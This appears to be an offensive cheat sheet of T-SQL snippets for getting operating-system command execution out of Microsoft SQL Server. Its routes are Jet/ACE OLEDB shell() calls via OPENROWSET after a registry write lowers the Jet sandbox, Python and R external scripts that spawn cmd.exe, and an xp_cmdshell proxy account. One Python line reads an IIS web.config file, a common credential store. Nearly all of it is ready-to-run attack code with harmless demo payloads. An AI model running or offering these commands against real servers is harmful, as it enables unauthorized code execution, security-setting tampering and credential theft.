SELECT * from openquery([Access_12],'select 1')
SELECT * from openquery([Access],'select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")')
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;Database=C:\windows\temp\test.xls', 'SELECT * FROM [Sheet1$]')

-- Drop linked servers
sp_dropserver "Access_4"
sp_dropserver "Access_12"

-- List linked servers
select * from master..sysservers

-- Look into additional examples for cmd exec
SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0;Database=C:\windows\temp\test.xls', 'SELECT * FROM [Sheet1$]')
select * from openrowset('SQLOLEDB',';database=C:\Windows\Temp\SystemIdentity.mdb','select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:\Windows\System32\LogFiles\Sum\Current.mdb','select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")')
INSERT INTO OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'Excel 8.0;Database=G:\Test.xls;', 'SELECT * FROM [Sheet1$]')
SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 8.0;Database=C:\testing.xlsx;', 'SELECT Name, Class FROM [Sheet1$]') 
SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Text;Database=C:\Temp\;','SELECT * FROM [Test.csv]')
SELECT * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')
select * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Excel 5.0;HDR=YES;DATABASE=c:\Book1.xls',Sheet1$)
GO

-- Sample sources
-- https://stackoverflow.com/questions/36987636/cannot-create-an-instance-of-ole-db-provider-microsoft-jet-oledb-4-0-for-linked
-- https://blogs.msdn.microsoft.com/spike/2008/07/23/ole-db-provider-microsoft-jet-oledb-4-0-for-linked-server-null-returned-message-unspecified-error/


-- source: https://www.sqlservercentral.com/Forums/PrintTopic1121430.aspx

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1

--===== This is an innocent enough setup.
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','C:\Windows\Temp\SystemIdentity.mdb';
go
--===== This verifies the current mode of the Jet engine so we can later verify that we set it back correctly.
EXEC master..xp_regread  'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "2" for normal mode
go
--===== This makes it a wee bit more agressive.  I'm using xp_rewrite to simulate an attack that can be made via T-SQL
     -- using a different method and without "SA" privs which I will not post nor provide a link to.
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --Set a more aggressive mode
EXEC master..xp_regread  'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "1" for normal mode
go
--===== This runs a harmless DOS command (DIR) but shows that once the "SandBoxMode" has been changed via a hack, DOS is available
     -- through OPENROWSET.
SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select shell("cmd.exe /c echo hello there c:\ > C:\windows\temp\test123.txt") as blah');
go
SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select 1 as blah');
SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select ''stringvalue'' as blah');

--===== Cleanup
EXEC sp_dropserver 'testsql' --Drops the linked server we created above.
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2 --Return to normal mode
EXEC master..xp_regread  'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode' --Verify that it's a "2" for normal mode

Python：

-- Requirement: Python must be setup during the installation.

-- Enable advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable external scripts
-- Requires a restart of the SQL Server service to take effect
-- User must have "EXECUTE ANY EXTERNAL SCRIPT" privilege
sp_configure 'external scripts enabled',1
reconfigure WITH OVERRIDE
go

-- Run OS command via Python
-- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

-- Get Python version
-- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

-- Disable external scripts
sp_configure 'external scripts enabled',0
reconfigure
go

-- Disable advanced options
sp_configure 'show advanced options',0
reconfigure
go

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Rscript：

-- Requirement: R must be setup during the installation.

-- Enable advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable external scripts
-- Requires a restart of the SQL Server service to take effect
-- User must have "EXECUTE ANY EXTERNAL SCRIPT" privilege
sp_configure 'external scripts enabled',1
reconfigure WITH OVERRIDE
go

EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
  WITH RESULT SETS (([cmd_out] text));
GO

-- Disable external scripts
-- Requires a restart of the SQL Server service to take effect
sp_configure 'external scripts enabled',0
reconfigure WITH OVERRIDE
go

-- Disable advanced options
sp_configure 'show advanced options',0
reconfigure
go

xp_cmdshell proxy：

-- Summary
-- Create a SQL Server login that maps to a database user/role 
-- that has been given explicit privs to execute xp_cmdshell 
-- once the xp_proxy_account has been configured with valid windows credentials
-- ooook then

USE MASTER;
GO

-- enable xp_cmdshell on the server
sp_configure 'show advanced options',1
reconfigure
go

sp_configure 'xp_cmdshell',1
reconfigure
go

-- Create login from windows user
CREATE LOGIN [SQLServer1\User1] FROM WINDOWS;

-- Create xp_cmdshell_proxy
EXEC sp_xp_cmdshell_proxy_account 'SQLServer1\User1', 'Password!'; 

-- Create database role 
CREATE ROLE [CmdShell_Executor] AUTHORIZATION [dbo]

-- Grant role privs to execute xp_cmdshell using proxy
GRANT EXEC ON xp_cmdshell TO [CmdShell_Executor]

-- Create a database user 
CREATE USER [user1] FROM LOGIN [user1];

-- Add database user to the role 
EXEC sp_addrolemember [CmdShell_Executor],[user1];

-- Grant user1 database user privs to execute xp_cmdshell using proxy directly
GRANT EXEC ON xp_cmdshell TO [user1]


-- Login as user1 - will show SQLServere1\User1 instead of service account
xp_cmdshell 'whoami'